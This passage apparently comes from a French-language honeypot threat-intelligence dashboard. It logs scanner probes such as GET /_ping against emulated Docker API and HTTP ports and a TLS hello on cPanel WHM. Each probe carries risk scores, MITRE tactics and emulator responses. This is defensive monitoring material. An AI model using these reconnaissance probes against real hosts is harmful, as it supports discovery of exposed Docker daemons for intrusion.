"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd2?A\u000e\ufffd\ufffd\ufffdQJ\u0004(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.\u0012<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\u0013\ufffd\u001cBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd2?A\ufffd\ufffd\ufffdQJ(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\ufffdBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
12376 · HTTP
|
http
|
http
http · via HTTP:12376 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12376
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "d85783a0d3edbdcfc7e9c1bf81a2bab776fc1dc2",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12376,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.5,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "e3b685de06f21e58beed9ae0b3ec6596dd00ea41",
"event_fingerprint": "47fb74da4a51a111ae4ae003d51129422f64f69a",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "373e495a31d8618b88c1656accde2175",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12376,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "796e9d4d8254ea513c58a5b908d0934596e4bc8b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12376,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
12375 · HTTP
|
http
|
http
http · via HTTP:12375 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12375
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "82e55ccc7a2d66b903a9b16f0b2ba17b4be27f13",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12375,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.3,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "d25cf7a52c98f51bb78f66e17d5da51ac0072f66",
"event_fingerprint": "1470a0095a0565c4ab4beb9b9b8994a897063d0b",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40f5b8212e2d478a9b76d03b4d85cce5",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12375,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "546c762f0f30e2e9211a5aeb5ce1c5621f40c098",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12375,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
2376 · DOCKER TLS
|
docker-tls
|
docker tls probe
docker tls probe · via DOCKER TLS:2376 · (sonde / probe)
|
Élevée
|
Moyen · 45
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER-TLS
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_tls_emulated
docker_tls_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2376
Chemin / cible
—
Service
DOCKER TLS
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2376 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_tls_probe » (signaux protocolaires) · confiance 62%
Confiance classification
62%
Risque capteur
Moyen
· 45
Confiance : Confiance 62 % — 5 signal(aux) capteur
Protocole émulé
1
Signaux
Docker Tls
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "15030300020228",
"emulator_response_len": 7,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker-tls",
"app_proto": "docker-tls",
"asn": 215925,
"country": "US",
"dst_port": 2376,
"risk_waf": 8,
"risk_classification": 44,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 45,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "ecac66132698f2c53170ca45331a87e4d06856d7",
"event_fingerprint": "0e1c691ada97ecfe1cd84524e4db6b819b7ed10b",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 69,
"precision_signals": [
"INT-docker-tls",
"INT-upstream"
],
"kb_rule_ids": [
"INT-docker-tls",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"named_classification_skipped": false,
"service_name": "docker-tls",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9829434df8ba002fbc6e132d1aaed959",
"path_pattern_hash": "d32a2cff6903ffd31fff36df36da58ae"
},
"target_context": {
"dst_port": 2376,
"service": "docker-tls",
"service_name": "docker-tls",
"risk_score": 45
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d94f6da5ca0247ef5c25464b9f7449a5e7c8861e",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"classification_reason_label_fr": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "docker-tls",
"service_label_fr": "DOCKER TLS",
"dst_port": 2376,
"protocol_emulated": true,
"tags_summary": [
"INT-docker-tls",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Docker Tls",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-docker-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker_tls",
"service_banner": "honeypot-docker-tls",
"service_os": "linux",
"dst_port": "2376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_tls_emulated",
"docker_tls_payload",
"http_get_probe",
"net_docker_tls_probe"
]
}
|
|
|
TCP |
2375 · DOCKER
|
docker
|
Sonde API Docker
docker api probe · via DOCKER:2375 · (sonde / probe)
|
Élevée
|
Faible · 23
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_emulated
docker_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2375
Chemin / cible
—
Service
DOCKER
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0%
Confiance classification
0%
Risque capteur
Faible
· 23
Confiance : Confiance 0 % — 5 signal(aux) capteur
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234",
"emulator_response_len": 162,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
